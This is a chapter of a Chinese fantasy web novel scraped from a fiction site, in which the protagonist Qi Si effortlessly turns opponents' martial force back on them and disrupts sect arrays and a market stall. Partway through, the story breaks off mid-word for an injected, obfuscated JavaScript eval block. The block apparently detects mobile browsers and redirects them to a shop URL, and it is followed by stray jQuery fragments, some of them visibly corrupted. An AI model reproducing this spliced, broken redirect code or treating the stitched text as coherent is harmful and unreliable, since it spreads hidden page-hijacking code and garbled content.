风竹小说 > 都市言情 > 下班时间到 > 15. 第 15 章
  他的手掌刚刚抬起,那些裹挟着罡劲的碎石,仿佛撞上了一层看不见的柔软水幕。

    所有力道在那一瞬间被“翻转”。

    “砰砰砰——”

    碎石原路倒飞,速度比来时更快,带着被放大的罡劲,直直砸向那名高阶武者。

    对方脸色一变,双臂交叉于胸前,内力狂涌,硬生生撑起一道气罡护罩。

    “嘭!”

    护罩被自己放大的罡劲砸得一颤,气浪反卷,他整个人被震得连退七步,每一步都在地面上踩出一个深坑,脚下青石翻卷,尘土四起。

    他胸口一闷,喉头一甜,一口血险些喷出来。

    “你——”他抬头,眼中满是难以置信。

    刚才那一击,他明明只是试探,罡劲却像是被什么东西“借力打力”,又被放大了数倍,原封不动地砸回自己身上。

    而齐司那边,只是随手挡了一下灰。

    连脚步都没挪。

    太上长老眼角微跳。

    那一瞬间,他清晰看到,齐司抬手的轨迹极其随意,连最基本的发力角度都不讲究,却偏偏在对方罡劲扑来的那一刻,刚好挡在了“力道回流”的节点上。

    那不是任何一门已知的卸力身法。

    更像是——这个世界的力道规则,在接触到他时,本能地选择了“回流”。

    “再来!”那高阶武者脸上挂不住,怒喝一声,双足一错,身形一晃,整个人像一柄出鞘的长刀,带着刺耳的破空声直劈齐司。

    他这一刀并非真刀,而是以臂为刃,罡劲凝成数丈长的刀芒,刀势凌厉,所过之处空气被硬生生剖开一道白痕,地面裂出一道笔直的沟壑,碎石飞溅。

    齐司叹了口气,像是被迫从懒散状态里被人拽起来,右手换了个握竹枝的姿势,手腕轻轻一抖。

    那动作像是在试扫帚的重量。

    竹枝划出一道极其普通的弧线,从下往上,轻轻一挑。

    没有任何气势,没有任何罡风。

    可那道弧线,恰好与高阶武者刀芒的下劈轨迹交错在一点。

    “嗡——”

    刀芒在接触到竹枝的那一瞬间,像是被什么东西“勾”了一下,原本笔直下劈的势头被硬生生拧成了一个怪异的弯。

    所有罡劲在那一点上发生了“折返”。

    刀芒瞬间崩散,化作无数细小的气流,沿着原本的路径倒卷而回,像一条被扯断的长鞭,抽在了持鞭者自己身上。

    “砰!”

    那名高阶武者胸口、肩头、腰侧同时被自己崩散的罡劲抽中,衣袍瞬间裂开数道口子,皮肉发红,气血翻涌。

    他整个人被抽得在空中翻了一个跟头,重重砸在十丈外的地面上,地面炸出一个半丈深坑,裂纹如蛛网般向四周蔓延。

    “咳——”

    他终于没忍住,一口血喷了出来。

    气息在这一刻彻底紊乱,原本运转如行云流水的内力,像是被人从中间硬生生打了个结,开始无序地在经脉中乱窜。

    “内力……倒灌?”一名观战的宗门长老失声道。

    太上长老目光一凝。

    他看得更清楚——

    齐司那一抖竹枝的动作,根本谈不上任何“武道技巧”,甚至连最基本的发力都没有,只是随手一挑。

    但那一挑,恰好落在对方刀势“势尽未尽”的节点上,把原本应该向前爆发的罡劲,拐了个弯,送回了对方体内。

    这已经不是“以柔克刚”那么简单。

    而是——这个世界的“势”,在接触到他时,会自动寻找一条“回流”的路径。

    “你、你究竟——”那名高阶武者挣扎着想站起来,刚一运气,胸口的内力就像被什么东西牵扯,猛地往上一冲。

    “噗!”

    又是一口血。

    他的眼神开始发散,显然是内力倒灌,连带着心境也被撕扯出裂缝。

    太上长老眉头紧锁,抬手一挥,一道柔和的白光落在那人身上,替他暂时稳住了经脉。

    白光刚一接触对方体内紊乱的内力,太上长老的指尖便是一颤。

    那股倒灌的力量,竟隐隐要顺着他的灵力,反冲进他的经脉。

    他手腕一抖,硬生生切断了那一缕探入对方体内的灵力,心口微闷,呼吸不自觉地乱了一瞬。

    “太上长老?”身旁弟子察觉到他的气息波动,低声唤道。

    “无妨。”太上长老压下胸中的一丝烦躁,却发现那丝烦躁并非源自自己,而像是被什么外物“牵”了一下。

    他的目光不由自主地落在齐司身上。

    刚才那一瞬间,他的灵力与那名高阶武者体内倒灌的内力短暂接触,而那股倒灌的“势”,竟然隐约带着一点……齐司刚才那一抖竹枝的“味道”。

    像是一条被迫改变方向的河流,在撞上堤坝时,顺带把那堤坝也往回扯了一寸。

    “他不只是对敌人的力道有影响。”太上长老心中闪过一个念头,“任何与他接触到的‘势’,都会被迫寻找新的流向。”

    这意味着——

    越是高阶、越是复杂的内力运转,在与他接触后,越容易失控。

    因为原本建立在“境界”之上的所有运行规则,在他面前,都失去了参照。

    ……

    山门前的骚动,很快传入宗门内部。

    不多时,几名各堂主事长老陆续赶来,甚至还有外宗的探子混在人群中,目光灼灼地盯着齐司。

    “此子不可留。”有人低声道。

    “此子不可放。”另一个声音反驳。

    “招入我宗,严加看管。”

    “笑话,你们镇岳宗能看管得住他?刚才那几块检测石,你也看见了。”

    “那就联合各宗,一起制定约束。”

    各种低语在山门前的风里交织。

    齐司打了个更大的哈欠,眼角都湿了一点,完全没把这些话放在心上。

    他把竹枝往旁边一丢,转身就往山门里走。

    “你去哪?”执法堂弟子下意识问。

    “下山。”齐司头也不回,“买点吃的。”

    “现在?”弟子愣住,“宗门刚——”

    “饿了。”齐司只丢下两个字。

    太上长老看着他那副“我只是路过”的姿态,喉结动了动,终究没说出“不得下山”四个字。

    他很清楚——

    以刚才护山大阵对齐司“让路”的反应,真要强行拦他,阵法未必会站在宗门这一边。

    “派人跟着。”一名长老低声提议,“至少要知道他去了哪。”

    “你去?”太上长老淡淡看了他一眼。

    那长老想起刚才那名高阶武者被自己内力抽得吐血的样子,又看了看齐司那副懒洋洋的背影,喉咙里滚了一下:“……阵堂那边,还有事要忙。”

    “我去吧。”另一个长老咬牙,“只远远看着,不与他接触。”

    太上长老点了点头,又补了一句:“记住,别与他交手,别与他对视太久,别在他身边运功。”

    那长老一愣:“连运功都——”

    太上长老目光沉沉:“刚才我替那人稳住经脉,差点被他的倒灌之力牵着走。”

    那长老脸色一变,不再多言,躬身领命,悄然跟在齐司身后。

    ……

    下山的石阶很长,沿途松风猎猎,山影重叠。

    齐司走得不快,每一步都懒洋洋的,脚尖偶尔踢起一块小石子。

    那石子在石阶上“哒哒”滚了几下,忽然踩到一处暗藏的阵纹节点。

    “嗡——”

    一圈淡淡的光纹从石阶下方浮现,是用来检测外来者气息的简易阵法。

    按理说,只要有修为在身,踏过此阵,阵纹就会根据气息强弱亮起不同的光度。

    此刻,光纹刚一升起,便在接触到齐司脚边那颗小石子时,像是被什么“抹”了一下。

    所有光线瞬间熄灭。

    石阶下方的阵基发出一声极轻的“咔”,像是某个关键节点被烧断。

    负责看守山道的弟子远远看见这一幕,脸色一白,转身就往山上跑:“报告!山道检测阵……被踩坏了!”

    太上长老听完禀报,只觉得太阳穴一跳。

    “他只是……踢了块石头?”他确认道。

    “是。”弟子额头冒汗,“就、就是那样随便一踢……”

    太上长老闭了闭眼。

    从护山大阵,到山门检测石,再到山道小阵。

    所有建立在“境界”“气息”“压制”之上的东

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16939316|192918||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    西,在齐司出现后,要么失效,要么自毁。

    “境界”这两个字,在他身上,彻底找不到落脚点。

    “也许——”阵堂长老声音有些发干,“我们得重写‘境界’的定义。”

    “从什么时候起,我们默认‘境界’就是以气血、内力、神识的量与质来划分?”太上长老缓缓开口,“从什么时候起,我们默认所有力量都要纳入同一套评定?”

    他看着远处齐司的背影,眼中第一次浮现出一种近乎陌生的神色。

    “也许,从他出现开始,‘境界’不再是衡量一切的尺子。”

    “而是——被他打穿的壳。”

    ……

    山脚下的小集市,烟火气浓郁。

    摊贩的吆喝声、铁器碰撞声、油锅里炸物的“滋啦”声混在一起,驱散了山上的肃杀与压迫。

    齐司站在一处卖肉饼的摊子前,眼神难得有点专注:“两个。”

    摊主是个粗壮汉子,正熟练地翻着铁板上的肉饼,油花四溅,香气扑鼻。

    他抬头打量了齐司一眼,笑道:“上山的?看你气息挺沉,哪家宗门的弟子?”

    齐司懒得解释,只“嗯”了一声。

    摊主也不在意,拿起铲子,手腕一翻,铁板上的肉饼被他甩起半尺高,在空中翻了个身,又稳稳落回铁板。

    这一翻,动作干净利落,带着一股练家子的劲道。

    不远处,跟着齐司下山的那名长老下意识眯了眯眼——

    摊主这手腕翻转的角度,竟隐隐与某门中阶刀法的“翻锋式”有几分相似,只是被用在了翻饼上。

    齐司看着那翻饼的动作,忽然抬了抬手腕,像是被勾起了什么微不足道的兴趣。

    他右手空着,随意一抖,模仿摊主刚才的翻腕轨迹,又懒懒地加了一点自己的“伸懒腰”式舒展。

    这一抖。

    他身侧的空气像是被人轻轻拨了一下。

    一股极其细微的风,从他指尖滑出,沿着摊主翻饼时的那条轨迹,悄无声息地划过摊位前方。

    摊主正要再翻一次饼,手腕一转,铲子刚刚带起肉饼,那股看不见的风恰好从铲子底部掠过。

    “咔——”

    铲子上的力道被那股风轻轻一“勾”,原本应该平稳翻起的肉饼,忽然被放大了力道,直直飞起三丈高。

    “哎哟——”摊主一惊,下意识抬手去接。

    他这一伸手,动作里带着多年劳作练出的本能劲道,指节微屈,像是抓刀柄。

    那块肉饼在空中划出一道弧线,落向他指尖。

    就在即将落手的一瞬间,那股被齐司随手抖出的风,再次轻轻一拨。

    肉饼的下坠轨迹被硬生生拐了个弯,从摊主指尖擦过,直直拍在他自己额头上。

    “啪!”

    油花四溅。

    摊主被烫得“嗷”一声,整个人往后一仰,后背撞上身后的木架,“哗啦”一声,一整排挂着的铁勺、铁铲、铁锅齐齐掉下。

    那一瞬间,十几件铁器同时坠地,带着各自的重量与角度,形成一片乱流般的力道。

    齐司眉头微皱——不是心疼人,而是嫌声音吵。

    他抬起左手,像是想挡一下飞来的油星,手腕随意一抖。

    “叮叮叮——”

    所有飞溅的铁器在半空中轨迹一变,互相碰撞、弹开,最终像被一只无形的大手整理过,整整齐齐地插在摊位旁边的土里,柄朝外,刃朝下。

    摊主愣愣地摸着自己被烫红的额头,回头一看那一排整齐插地的铁器,嘴巴张了张,半天没发出声音。

    不远处的长老看得头皮发麻。

    齐司刚才那两下抖手腕的动作,完全是随手而为,却硬生生把摊主所有乱七八糟的力道,全部“归拢”成了一个结果。

    而且——

    那结果,对摊主来说,是最“吃亏”的。

    “对手越是用力,越是认真,越容易被自己的力道反噬。”长老心中闪过这个念头,背脊微凉。

    他忽然明白,为什么太上长老会叮嘱“不要在他身边运功”。

   

本章未完,请点击下一页继续阅读>>